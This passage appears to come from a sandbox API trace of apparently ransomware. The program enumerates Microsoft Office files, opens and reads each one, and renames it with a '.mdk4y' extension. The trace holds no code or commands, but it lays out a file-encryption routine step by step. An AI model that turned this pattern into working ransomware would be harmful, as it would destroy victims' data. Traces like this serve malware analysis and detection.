office\\office14\\1033\\outlook.hol"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.mdk4y")) returned 1 [0192.581] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.581] AreFileApisANSI () returned 1 [0192.581] GetACP () returned 0x4e4 [0192.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.HXS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.HXS", lpUsedDefaultChar=0x37df4c) returned 11 [0192.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826781400000) returned 1 [0192.584] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0192.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826786100000) returned 1 [0192.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826786100000) returned 1 [0192.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.mdk4y")) returned 1 [0192.645] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.645] AreFileApisANSI () returned 1 [0192.645] GetACP () returned 0x4e4 [0192.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK_COL.HXC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0192.645] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826787600000) returned 1 [0192.646] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x277, lpOverlapped=0x0) returned 1 [0192.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826789300000) returned 1 [0192.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826789300000) returned 1 [0192.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.mdk4y")) returned 1 [0192.666] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.666] AreFileApisANSI () returned 1 [0192.666] GetACP () returned 0x4e4 [0192.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK_COL.HXT", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 15 [0192.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826789600000) returned 1 [0192.666] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcf, lpOverlapped=0x0) returned 1 [0192.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826789700000) returned 1 [0192.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826789700000) returned 1 [0192.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.mdk4y")) returned 1 [0192.668] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.668] AreFileApisANSI () returned 1 [0192.668] GetACP () returned 0x4e4 [0192.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK_F_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0192.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826789900000) returned 1 [0192.669] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0192.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826790000000) returned 1 [0192.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826790000000) returned 1 [0192.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.mdk4y")) returned 1 [0192.671] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.671] AreFileApisANSI () returned 1 [0192.671] GetACP () returned 0x4e4 [0192.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK_K_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0192.672] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826790200000) returned 1 [0192.672] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0192.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826790300000) returned 1 [0192.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826790300000) returned 1 [0192.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.mdk4y")) returned 1 [0192.682] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.687] AreFileApisANSI () returned 1 [0192.687] GetACP () returned 0x4e4 [0192.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLPERF.H", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLPERF.HCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 10 [0192.688] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826791900000) returned 1 [0192.689] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x227, lpOverlapped=0x0) returned 1 [0192.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826791900000) returned 1 [0192.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826791900000) returned 1 [0192.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h.mdk4y")) returned 1 [0192.775] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.775] AreFileApisANSI () returned 1 [0192.775] GetACP () returned 0x4e4 [0192.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLPERF.INI", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLPERF.INIL.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0192.775] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826800600000) returned 1 [0192.776] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa87, lpOverlapped=0x0) returned 1 [0192.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826801600000) returned 1 [0192.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826801600000) returned 1 [0192.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini.mdk4y")) returned 1 [0192.787] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.787] AreFileApisANSI () returned 1 [0192.788] GetACP () returned 0x4e4 [0192.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLWVW.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLWVW.DLLI", lpUsedDefaultChar=0x37df4c) returned 11 [0192.788] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826802000000) returned 1 [0192.790] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f760, lpOverlapped=0x0) returned 1 [0192.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826807000000) returned 1 [0192.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826807000000) returned 1 [0192.841] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.mdk4y")) returned 1 [0192.842] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.843] AreFileApisANSI () returned 1 [0192.843] GetACP () returned 0x4e4 [0192.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLWVW.DLL.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLWVW.DLL.IDX_DLLXK", lpUsedDefaultChar=0x37df4c) returned 19 [0192.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826807400000) returned 1 [0192.844] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b80, lpOverlapped=0x0) returned 1 [0192.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826808500000) returned 1 [0192.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826808500000) returned 1 [0192.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.mdk4y")) returned 1 [0192.856] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.856] AreFileApisANSI () returned 1 [0192.856] GetACP () returned 0x4e4 [0192.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PASSPORT.CSS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PASSPORT.CSSIDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0192.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826808700000) returned 1 [0192.857] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0192.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826809600000) returned 1 [0192.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826809600000) returned 1 [0192.866] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.mdk4y")) returned 1 [0192.867] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.867] AreFileApisANSI () returned 1 [0192.867] GetACP () returned 0x4e4 [0192.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PASTEL.CSS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PASTEL.CSSSS", lpUsedDefaultChar=0x37df4c) returned 10 [0192.867] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826809800000) returned 1 [0192.868] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0192.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826810100000) returned 1 [0192.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826810100000) returned 1 [0192.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.mdk4y")) returned 1 [0192.873] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.873] AreFileApisANSI () returned 1 [0192.873] GetACP () returned 0x4e4 [0192.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE.VSL", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE.VSL.CSS", lpUsedDefaultChar=0x37df4c) returned 6 [0192.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826810400000) returned 1 [0192.874] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14980, lpOverlapped=0x0) returned 1 [0192.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826813400000) returned 1 [0192.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826813400000) returned 1 [0192.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.mdk4y")) returned 1 [0192.906] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.906] AreFileApisANSI () returned 1 [0192.906] GetACP () returned 0x4e4 [0192.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PIPELINE.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PIPELINE.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0192.906] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826814100000) returned 1 [0192.911] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x780, lpOverlapped=0x0) returned 1 [0192.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826814400000) returned 1 [0192.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826814400000) returned 1 [0192.914] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.mdk4y")) returned 1 [0192.916] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.916] AreFileApisANSI () returned 1 [0192.916] GetACP () returned 0x4e4 [0192.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PJINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PJINTL.DLLRD", lpUsedDefaultChar=0x37df4c) returned 10 [0192.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826814700000) returned 1 [0192.917] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0192.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826820100000) returned 1 [0192.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826820100000) returned 1 [0193.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.mdk4y")) returned 1 [0193.028] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.028] AreFileApisANSI () returned 1 [0193.028] GetACP () returned 0x4e4 [0193.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PJINTLC.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PJINTLC.DLLD", lpUsedDefaultChar=0x37df4c) returned 